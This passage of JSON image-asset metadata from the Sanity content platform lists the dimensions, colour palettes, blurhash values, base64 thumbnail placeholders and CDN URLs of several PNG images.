ground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c89a54","foreground":"#000","population":0.24,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"32f01e608b96ea803f296b09ca49a10951317a9e-752x405.png","path":"images/sczeoy4w/production/32f01e608b96ea803f296b09ca49a10951317a9e-752x405.png","sha1hash":"32f01e608b96ea803f296b09ca49a10951317a9e","size":173289,"uploadId":"TXE27gW1Nqb7RQarU9TDqb96Im6prmwg","url":"https://cdn.sanity.io/images/sczeoy4w/production/32f01e608b96ea803f296b09ca49a10951317a9e-752x405.png"} {"_createdAt":"2022-06-15T20:02:05Z","_id":"image-803752d6c96a92fcdc42936d676f1f62e2b7a368-1567x844-png","_rev":"CK1sLU2mnwa3vmbYWEcepm","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:23:45Z","assetId":"803752d6c96a92fcdc42936d676f1f62e2b7a368","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M*PWgk{LR;Shem$%WBOEt6nOV?aes:V@o}","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAAC+0lEQVQokTWOW0ybBRhAf03MfFpc4jXxxcRoYqIz6pIKuJbLxhBG/cu1hcoK3c9l1MKKLQPsLBkTNtrV1a5M2KAVcaNsdquUzZAU5clonItGTYiZ0czES/bWSdzf7xiYPpyct5OjYKyFPfVgNkNdGVh3gP0pcD4G3VsRz32I9x7Eq6AHHuZWopUvF06Rnp3is0yKL7KfsnIlzaXkLDNT76FQ2gi1TmhywOu1YDdB0zOw73Ho3Ib0bEHevBu843+A3yKvko318/FkiGxqjs8/OU8mGWcuPkEsGvovaHGC1Qm2RmjeAy0GaH8OcT+J9D2EeLdsBv8Z2sovoTJWTnm4PDXO0rmzZOYTpM7FSUxPEgoHUdjdBHY3dPmg6w3o1WDAgQRsyKgFOVqEDD4C3ntZ9z/Ij+OVLIY9XJg4xkdTE8xOz5CYSTA2Nk5ntwuF8mbY74OhYxAYhZFhJOhHwh6IdiOxFmRkO/ju59bgo2SHzXwQDLC4sMDy1SyZpRVm4vNomoudO00bhzZweiEQQkZOIIeH4ehbyFgvEnYhky44XkyubxvXDz5BckQjfTHF9e9+Yu3GH1z79ganJ+eorq7j+e0voFDSAA1d0HEI0bzgOIB0OBF3E3hrkLfNrA8ZWOt9mnl3MWeDAZYyV/nq2vf8sHaT7OrXDAweoXx3JQZDAYq8UiNS3CBSZhVKN1wjUlElopZIvrlA/j7wstzsN0nGUy6BtmoZ6tkvJ0b9Mv1+VJLJi3Ly5Gnp6nRJe3u72JttolCoskmBihSqSJEZTBXkq0q53VHFn2MOvom4eNdVR22JgfoKIz2tFgbcLfS5NLTWNvq9PmKxKOPBd1Aosuj/I5tWdTFV59etdfm/gh759XJYVuNHpL9lr1S89Kw0FhtEU0tln1om9Xt3icNuk2gkIouLaTmfnJONYO4uak42XKjm8ib1dk5rW//9w+N3fl4+o6cjh/ROs0m3G1/U/fW79INmo24x7tCtr1Xqhwd8+qULSX11ZVm/kknp/wJEuEYZvm7LlwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#332a2a","foreground":"#fff","population":11.76,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#813a03","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc3c54","foreground":"#fff","population":13.54,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bda08b","foreground":"#000","population":9.77,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc3c54","foreground":"#fff","population":13.54,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#836c58","foreground":"#fff","population":4.84,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f9730a","foreground":"#fff","population":12.31,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"803752d6c96a92fcdc42936d676f1f62e2b7a368-1567x844.png","path":"images/sczeoy4w/production/803752d6c96a92fcdc42936d676f1f62e2b7a368-1567x844.png","sha1hash":"803752d6c96a92fcdc42936d676f1f62e2b7a368","size":947563,"uploadId":"yDrhAdOPj92oaXPs3yw39XTzE2jUNAlY","url":"https://cdn.sanity.io/images/sczeoy4w/production/803752d6c96a92fcdc42936d676f1f62e2b7a368-1567x844.png"} {"_createdAt":"2022-06-15T20:02:08Z","_id":"image-4aa17aee082132a401a0f0d49c059d2cb1bdeecd-1567x844-png","_rev":"cEPH2uRN58AU2lp9QO81vd","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:24:12Z","assetId":"4aa17aee082132a401a0f0d49c059d2cb1bdeecd","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MbQ[#.%hnnQ,#kL4eSofbboJu5NHW-kXcF","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADS0lEQVQokSXFX2wTdRwA8HtT44OCDxBQYmIM+iBPQmJ8ICFCTFRiYmZifDDxz3gQX8TEqTNkJmAoRJksHbggDOr+tDdhoMsWtom1R+0fbv3Ptdfrr9e7Xund79pe22vp2vt+DeHhkw8jK/qX+UL5Uk5U/sjlFVbIldhsrsQKWZkVJZUtV+qsTlusbjRZ3WixOm2zkWji2rmJyb+ueuZu5qXyAq11FnTavqLT9nEmKyoX4ykxtxEXanf5tBGKxGk4mqDhSILG4gKVSzrVKiYtFmVKSJGqmkHjCcGcmZ2v3bi5ZBZImRq0beq0RQza/pMpxzkvSSdMKV9EUSpjVlQwl39EIhoqZQOLhQwmowsY/ncWk8kNTGdE9PsDGAqFsUBk1Com3jdaLd207zAd9ov55tq4bgoR1Kumoxs10A0LqrQNutGC+yURSjE3ZG4NwdrcB7C6+CvwQQ7SySSk0mnged6J8zGUsvmGVqYBBi4c8PYvvWu0189inaxDo7yCNW0DqaagKclYW2XRnH0L1evbMfz7y3jr7BD+d3kU434fctxtXLruhcCV0yj5zljqnWWOwcvveJ3zB4zutaPYSp4CO/8NWpIHzXwIa6Egtn85ifb3L6E58zhKnqcxMbIdU9/twcC5YVycGsf1C6NQOPEGWqP7LNM9zDEwddA7mHrTsJfH0Mp5naY8DY3SOpglAeqZFLTZSbDde8FinwDt4mNAPnkSEoefBd97+2Du87dB+HE/9L59HgdHdlrNkb1+ZnN6aL67+LVuxZawphGnUS1AoyqDVVWhpclgC8vQ9b8PnZWtUJ9+BtSPdwP/2iuweOgF4L7aBY2ftzn4w1M4OLaj3h57fZ2xOY+3wS+bNBfDuiqhXSlgtyJiT7uHm1oG+wqHg+QYOoH92F05jMaZI0g+O4iFkeew4d6Gzm9bEdxbsD/5qtVhj60y3XvBiUaS4/V0ULakKNlUNoijPsQTUO8SUMIERB/B1AnST54n1m0Pqc0PF7u+3SXHu1NzfDvU/o09pc21o4lefOEqM5CCHz7IBY7bIne6R0KnQIm4UI26QHko8uhS0IXy3y6QOdeDQsDVTE+47MihcfufXVO2/8XJTuSjn3rCzNhADn36PyHAtQyk+YYwAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#382d4b","foreground":"#fff","population":0.12,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4e161b","foreground":"#fff","population":0.91,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f4bd0c","foreground":"#000","population":13.03,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d7bfc5","foreground":"#000","population":0.38,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ecaf4e","foreground":"#000","population":0.85,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#546c92","foreground":"#fff","population":0.05,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f4bd0c","foreground":"#000","population":13.03,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"4aa17aee082132a401a0f0d49c059d2cb1bdeecd-1567x844.png","path":"images/sczeoy4w/production/4aa17aee082132a401a0f0d49c059d2cb1bdeecd-1567x844.png","sha1hash":"4aa17aee082132a401a0f0d49c059d2cb1bdeecd","size":293277,"uploadId":"tg3HxOazbW2aMMbsxZS2otiQllk9qtjo","url":"https://cdn.sanity.io/images/sczeoy4w/production/4aa17aee082132a401a0f0d49c059d2cb1bdeecd-1567x844.png"} {"_createdAt":"2022-06-15T20:02:17Z","_id":"image-38320e2ee3bfd1e12a889d2c6312d02d0ff253cf-1567x844-png","_rev":"QRl2cGoCgj0FlAhkRri7xq","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:25:33Z","assetId":"38320e2ee3bfd1e12a889d2c6312d02d0ff253cf","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MdPY@=u6bdi[^$PCi_R+bcbI?snMadXAIX","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADRUlEQVQokR3Fa1MTVxgA4P1X/QOdTq3T9kN1OoxaQAd7swpUbTWIpQFLJjHMtGidFos6UEyylAas0kAJpNqE3Nkkmz1Jls3mskl2z2YToNzMvm9n+nx5GFFSBoWcPM0L0nyWFD1CrsSSfJkl+RKbJcX/FyWFrSg6q6otVm00WVU12FqNsjyfYzdDEQ/J5ua1uvqoqdGbDC9ID2MJPhcKJ5ubkS0tGk/TeIKn0XiGhqMcjcXTlEvlqCRVqarUaU0uUiFLaDAUobOzc9Rud2hLXm+zUizmW5r6mJHLmluUFF3IlTDFy5jOllDIlzFXKGG+IKNYkFAuCNgQOTTEJJbTYQyur+Ii68HxUSv2dHfj9xNOFPlUc1dVFhiV7j2tazuqILZwJaCbSy808Ps1yKQp1BUNjNo2tMUA7EafwJ5/Aop/3IO/XVPge/QjTNy+CV2nT5tjt2+hEAvq/zZKzxiN7rjysqEtrOk44tDh+oCG1sEaPn1Yw1y6gno5haqwhvXgDNZZC6Z+GsDnP4ygxz6CjqGv8NML5+Hu9asoLC8aB2XiY6iqu2K8pj2Yp/j1HQOuXmnitb4GOu/U0OevYjxFkAgZLHIhLHgnMensw9+HetE28AkOXr6E/T29MH2uG+W7DuM4/mqFMVTVJUqqFojq+GytZT6ZM2DcqYP1ngEOVocZXx64kB/qgWlQZwahMXoCXvW/BdaLXfB5bw/YTp2Cl++8j+0vvjQ6y14fs9Ooulp1RTUaDWzUdDMYofDgVw2svxgw7tbgN18cKhs/w5H3EnTuvw37w29A8MqbMPLxWRjqPgfL7540tRPv4ev+a83Onws+Zq8ouNsSTw1ZwB1FwppUxvBmCZ//JePGPyJK6SgecPNoro8juj/D/ckuDAyfxW8v96Ht/EeY+PADPLx4ATv3ne1OzLfK7AvRyWY6FK9lIlJzmyP7CiHtEiGNAk8MKU0Oy1ukI4dJh6wQSHjyRxtT21nPhOSaHJPmRm9IxHpDOp6yy6Z/ljPz6zPMgZQ8s1uID7fExNiuzN06qmYsx0ra8rqasnSqnKVT3bJ0qkmLWUkMQSX2jSlvfndYeGmj3KqtElyyGcFFmxl12zHx2AqFF33/AePQtG1gDYdZAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#443936","foreground":"#fff","population":1.48,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#243a71","foreground":"#fff","population":0.57,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f68d3f","foreground":"#000","population":6.45,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d6c7b2","foreground":"#000","population":2.72,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#649ff7","foreground":"#000","population":1.15,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b49e86","foreground":"#000","population":6.13,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f68d3f","foreground":"#000","population":6.45,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"38320e2ee3bfd1e12a889d2c6312d02d0ff253cf-1567x844.png","path":"images/sczeoy4w/production/38320e2ee3bfd1e12a889d2c6312d02d0ff253cf-1567x844.png","sha1hash":"38320e2ee3bfd1e12a889d2c6312d02d0ff253cf","size":415146,"uploadId":"KaGga8ePPvX19kn0AOGOJ3LW1XDyTMGh","url":"https://cdn.sanity.io/images/sczeoy4w/production/38320e2ee3bfd1e12a889d2c6312d02d0ff253cf-1567x844.png"} {"_createdAt":"2022-06-15T20:02:17Z","_id":"image-e0788ba77399e7f1e027d307c409e985472dfa6f-1567x844-png","_rev":"QRl2cGoCgj0FlAhkRri99O","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:25:51Z","assetId":"e0788ba77399e7f1e027d307c409e985472dfa6f","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MdPZDY%%xIRh-=O[n,t6RPkC?bIUWTn%Ip","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADPElEQVQokR2M7U8bdRzA758yvvWFRnizTKNzBOti4xaDJVlwMNnBQprg7Jxxus0oK+sKm6xwuCAxY4ha2AMr7foE13vo9R7pw93vV669Fjaw/X4Nvvjk83n1YVS9OiQrVkSUjXlB1KN8Qb1TELWIrFj3paK5IMkmZ1gOZ5MWR6nL0ZrIUW2Zc8UfOU+6zjX0lQVqW4uEelFCW+OMIOnTmZwgbyXz9Rdb2dpmIltNJHO1dFZw0tkCTWcFKsgmlYoGlfgXdCdxl64vB2l8YYAqjz+iXvIc8Yoz9b2KpFLiLjKGReZLWqUuFU0UZeN/jlsplVFRy6hoVRSVXdx4EseFX6/hjW8HcOT8x3hh8EO8e/UEiksnsLk1iF5xsenWjDXGoe0HDm07NmmhTVrdmuNBzW7CsW3iQcVug6JX4Nl6FKK3TsFw4G14/2QP9Pb2wOef9cHszcHuzspFdNK39ppGYpUh9f0Yqe8TUt/H44FhOSBKGhSEEpS0MqhWAxXdBCV/HfOrb+Fy5F2cGP0U+/pOo8/nw9HREZid/g631iJuVfh7lSG0FSO0RQj10DAqsL7xDKPRezg1FcY/Hq1hjjdRVjTUCz+jk/sAted+jEUm8MuhIfT5PsH+/jMwepFFbvqnprrKbTCUNmJ16pI62UOxIHTvhKchEAjAwMAA3J4KQ+olD8WiBob0O1S3xyHz5zBM/XAJvroQgMCZ9yBw6h24cu40PmK/aNuTwxnGdZyYa9tOw6mhKvLd2L0ZmBhnITQZhJWl30DhebBKKlTVLSjzUYgvjcEv1/wQDvbAw8tvwD+X3uym2JOosn7v1cjZJOMZyvyeJlOiy2irIorp55hcf4x8Io41OYNNU8SGKWHD5JHIKyg8vYLpZT+qD3uxwfXi/pwf3fuTSObCzQNuJs60pczNOp9KV4W0QdUdtWWJWntX0F6VBe2wIihHFV46LO9Ih7vb0oH+RGoV56QD4YbUyX0tQep7qfPyQbGV+UsnuUS+KaZmmQNtu98r5S67av5qy+RDrytC6LAihI7K/DdH5e3gv+X8WKecY7u7GbZjpdiulWDB2mTBeMp29M2xrpkMvjbSobqSDbqlzNn/AKZ3t/f1mEcaAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#454340","foreground":"#fff","population":5.1,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f6405","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f6c824","foreground":"#000","population":8.46,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d2c8b3","foreground":"#000","population":3.02,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#efd083","foreground":"#000","population":1.84,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5367a5","foreground":"#fff","population":0.16,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f6c824","foreground":"#000","population":8.46,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"e0788ba77399e7f1e027d307c409e985472dfa6f-1567x844.png","path":"images/sczeoy4w/production/e0788ba77399e7f1e027d307c409e985472dfa6f-1567x844.png","sha1hash":"e0788ba77399e7f1e027d307c409e985472dfa6f","size":600316,"uploadId":"oge8gKMCuLJc2Ku3fsICfGRJVi6MIIhL","url":"https://cdn.sanity.io/images/sczeoy4w/production/e0788ba77399e7f1e027d307c409e985472dfa6f-1567x844.png"} {"_createdAt":"2022-06-15T20:02:23Z","_id":"image-9add742a5637d7fae58022b4629e75706b414897-1567x844-png","_rev":"cEPH2uRN58AU2lp9QO88vB","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:26:29Z","assetId":"9add742a5637d7fae58022b4629e75706b414897","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MbN];F?w_39ZX5O[NGsAWAo3.RMxE1xGxH","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADXUlEQVQokRXFeVMTdxgA4P08/QCO1gSmU0UrPZwpRYc4gtYjqNAWi7VZbR0RpKCViRx1wEJUrrDU4ghCIFyBhHCFcC27OXbdhGB2f7s5SIB0Ju/b8Y9nHioo7lTw/lA7x0v9HC/18f4Q4w9uMx/3BcJMOKIyH+QkExR3GKdriXk7OMIMj9gZj5dlQtsqs8kG+yamnP2r63yHTHZN1PIK+3zK4ebH7A7NPj6jTEw6iWN2gbjmPMTjZckW/54sLK6SfwcGSWPTX6Sqqpo8qK4hrW3tZHJyhszNuhXb0IjmnV/xKTuqhfJ4WevklEu1jU3jmN2B9vEZHJ90osvtwU02gEtLXvy73YImE41lZeVYWlqK165dx8rKSnzW8ATHejpxjulHYWBEizs9rylRivZwPklmORG3eCm7xUvAciL4AyIIvBeG33SB6fYtKCoyQGFhIZSUlIDRaITyUiM8Lr8MQzWm7KLZjDv3n6j7dW1vKZmkemWSUmRlF2UlBoqsYjScQMKJGJx6gR2Pb+DF4rN48otTeCIvDw0GA169asSfLxRhZ8kJdN0uBnftAxQrq2IHdxpslEJ2exU1pRCSQE0OQSwUQOKWUe1ZR6H5Prb+ko+Fp4+hTp+Der0eCwoK8ELxefy1MA+Hzx3G+cqzMFpXhWvmpli6+/UoRUi8VyVxRVMIxqNiNiHwoA5FQK1fAbmGhnd3j8ClgkOQm6MHnU4Hx44fh2/yT0HFVzroMuig6/p30FFlQrfVEksvOWxUTJZ7Y9GoHIt+wER0O5sMSxCfD0HcugR7L+/BpvkQ0Oc+gc/0R+DoUR3k5ubCl3mfww/5n0LzmRx4evHbrJmuwOn+59oeO2Gjku/9Vk3giSLyqIUDmNoRMC36ML22jBnnKwxbr2DLrZN4/szX+H2xAembN7CW/gnNZUXYeuU0Nv54CVse/o4zA5bEPjcxSqU4T6O6sbgcYZcFImxw6QjPHUS2uANpg8v43Jzm7uWmu+u4F4013JuXLb4VOxPkpv4RZjsbxO6am+KzapNoaf4zvGDrW88Ena+oPWHNkAx4f9OCq9VJaePufoSlMx9tb9L/ba/TGclDJ31OWmMdd9J+171saPEhhBb+kOYH6991Ntdb2xoeMR1NTxdtfbUZYe7y/2VNhqk9KBQYAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4d4a48","foreground":"#fff","population":6.34,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#79510a","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#4d4a48","foreground":"#fff","population":6.34,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#e1bccb","foreground":"#000","population":0.5,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e080df","foreground":"#000","population":1.63,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#649c84","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#eca528","foreground":"#000","population":3.32,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"9add742a5637d7fae58022b4629e75706b414897-1567x844.png","path":"images/sczeoy4w/production/9add742a5637d7fae58022b4629e75706b414897-1567x844.png","sha1hash":"9add742a5637d7fae58022b4629e75706b414897","size":1009934,"uploadId":"uJTV7ZzD2sMmfwggHv0YQDMa36Tb8GIb","url":"https://cdn.sanity.io/images/sczeoy4w/production/9add742a5637d7fae58022b4629e75706b414897-1567x844.png"} {"_createdAt":"2022-06-15T20:02:21Z","_id":"image-d5945aa0eecce2474faaa3e80b1647bb0bd17e2a-1567x844-png","_rev":"z4aw9LO53fWpwEzdXNEQyj","_type":"sanity.imageAsset","_updatedAt":"2022-09-26T16:06:17Z","assetId":"d5945aa0eecce2474faaa3e80b1647bb0bd17e2a","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MOQSo7*0~q4.n#B=s:wJR*oz?bMdEM%MnO","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAABcRAAAXEQHKJvM/AAACZklEQVQokS3LW0/TUAAA4P5OeZYHnvZiCGYalSCoYYAw5gYB5iYGdbAE5RK5TzYHbm7swtZR2rKu7Tk9p+3pjXZXQ2LyvX4UIQ6AuihhGWoAqJKEJFlVNZsYrk7uNd0hhm2YtmE4OnlATJeYnmF5ttOmZKDWaK5YqperN5UqU7i6LlUad4LCclIuX05nLk/Pzg+PjlOpTCaby/0tM6wIoaoh1SQmhbHJ38EbpsWwIsNJNCMwrMg34a/0ZWRpZTow4/c/GxkZGRt7Ojv3Pvoxlk6dyXTRZIs2FCjD9BC2ITIhsiCygWIp0BAFeHBwMjX1xu/3+3y+oaFHw8OPX718EVmcT/1IKIUjt37iSfWHjFVHwTb6z0JQB7z4J3sRi8WDwWAgEJicfD0beBeNLO7EV6+2vqDzPbd61BYrlGG6WLUQNhEmGBMVEwWqMt/i6NpF9vdmMrkYCgWDC7Ho2k5io5TcENeXje2oV/rZlmnKNB1NJSrSNIR1hAhGGCJJkGSOrhcvdhPfVqZnw9Mzyx/CW/HV68Qa+Rzy9tY7t7kukSiLGERRdCgTKBlQtBSRQElpNrV6Hpwm86GFQ//4ztTk90ggFZ272wg725+6ueMeaPQdTDlI1nlG4RqawFgy6wDWlm+tesndTzhLE8LEk9pzX21hlE28BYdxLb3vFk57THYglwc6T3mgSZgqvClrTfoe3HqQ9QDTqeS6m7HOqt+Ij+LNcfMs7FV328LVfave5gv9Zv4hqyzVtXRPlR0suTroGLBrgB4BPZHrl9P9wnqX/tptZXq40Setvin3iNhX+QHmBqQ1sJV/oBAhVTyWJs8AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#505151","foreground":"#fff","population":6.25,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f2c05","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#505151","foreground":"#fff","population":6.25,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cb9494","foreground":"#000","population":1.3,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#68acfc","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4c628f","foreground":"#fff","population":0.05,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f55d15","foreground":"#fff","population":0.37,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"d5945aa0eecce2474faaa3e80b1647bb0bd17e2a-1567x844.png","path":"images/sczeoy4w/production/d5945aa0eecce2474faaa3e80b1647bb0bd17e2a-1567x844.png","sha1hash":"d5945aa0eecce2474faaa3e80b1647bb0bd17e2a","size":470164,"uploadId":"Yy191s0lnkK8M08m5WN6iU0UIgXPTe2n","url":"https://cdn.sanity.io/images/sczeoy4w/production/d5945aa0eecce2474faaa3e80b1647bb0bd17e2a-1567x844.png"} {"_createdAt":"2022-06-15T20:02:20Z","_id":"image-dd2ccdc495d0b37d7b8abf4aea209bf5550e06c1-1567x844-png","_rev":"CK1sLU2mnwa3vmbYWEdGqu","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:26:16Z","assetId":"dd2ccdc495d0b37d7b8abf4aea209bf5550e06c1","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MMPsVM%}?CEV$KG1X4rptRSP-ns79#nO-+","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADHUlEQVQokR3MW2/bZBgA4Pw6/gCX3IKEQBrSQAwROjYOW9tNZShl2oC2bGvWtHW60sFo00SsWQ9pkjp1nMT+PtvxOQf7s9Mce8z7onLx3D6Rut68SVV7gShWUqbmKlVtTq27nKI5HFFsTiImJ1OLsxzGeazP+cGQa/tDznaHXIkfcttvhqv5g2HSdfvPGOtORCTZmONLNVo4EsPCkejzpRq7VuSrjD+usdKxxIQyYZreYHajy2S1z/byffZqvc9mZ7ps5k7gb7+kQbOwW+8K6WTEtL0VVXMDolgoUxMlYmClpv2PqDZSrYmi3MKCGGJ6v4uJDYZPF1ycnrIw+rmB338m4D+Tc9iav9EdJb9IRzw2SHhs4LnNDhLFGleqKlwj1ATNCqBIhpB8dwqx1RHcmQ3hfsyABEfhr9cU/lyjsLF0ON6NfYfOg/fCs6WPUtfhMgtHvu0wPMjxsLNzgIIgoaZZqBoMt4oDvPeyj59Md/DjCRcf/UpREC30PA+D8ARbrgt0Yxabj9/vnG3+cB32l1kw8B3Xx8PDI8i+3UW5RtC1XGw4TSwJKs4lePzyvoQ3btfxyXwFa7U6dsIAT8/OsX8SgJWZRz/+aec890cqwtjJcsBOfL/N0FC1sVypgKFQsDUFGmoF9OIryK3/BEu/r8DDR/vw+Ok2bG6mgeeLoKoq1BUC6u46htn5zoWUTkU6nrfc8dpep93CsOmMA8eEtqGAKZdBF3Ng5uJgp6JA17+CbCIG3OIiPFuIw9xvcYg/X4Ot13+Pa/sp7Ml74YVR3I70THUl1CnzDYqho+GgqWPPVZHVK9imJQzoHg6EFzjK3MRw8xYqb1dxay2LsXv/4s/fZjCznMJWeQfPjUL30uIzkQEpzQbVIt+QeJ3pVTJsUHLapGTkSmTkVMmZWyWX5gG5Ep6Tq/wvylBM6XJW1F9MqcaTrzVTfHNsXBh5E+xCeWwXFyMjXfygpwm3w3r5x55VnThtSNHzhhS9aFSjl24leumWo1euEB1b+W/GavbulbY32a0dTb1bJA9WJvUZJVN9iHZxGp3CXbALH/4HMWXY/YEL7HMAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#343660","foreground":"#fff","population":0.25,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#34429f","foreground":"#fff","population":0.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f38b17","foreground":"#000","population":4.11,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#dcbfc1","foreground":"#000","population":0.42,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6497fa","foreground":"#fff","population":0.84,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5958ae","foreground":"#fff","population":0.37,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f38b17","foreground":"#000","population":4.11,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"dd2ccdc495d0b37d7b8abf4aea209bf5550e06c1-1567x844.png","path":"images/sczeoy4w/production/dd2ccdc495d0b37d7b8abf4aea209bf5550e06c1-1567x844.png","sha1hash":"dd2ccdc495d0b37d7b8abf4aea209bf5550e06c1","size":316748,"uploadId":"dqeyy7okrVliBjKkIgutia2WfoFeVjpg","url":"https://cdn.sanity.io/images/sczeoy4w/production/dd2ccdc495d0b37d7b8abf4aea209bf5550e06c1-1567x844.png"} 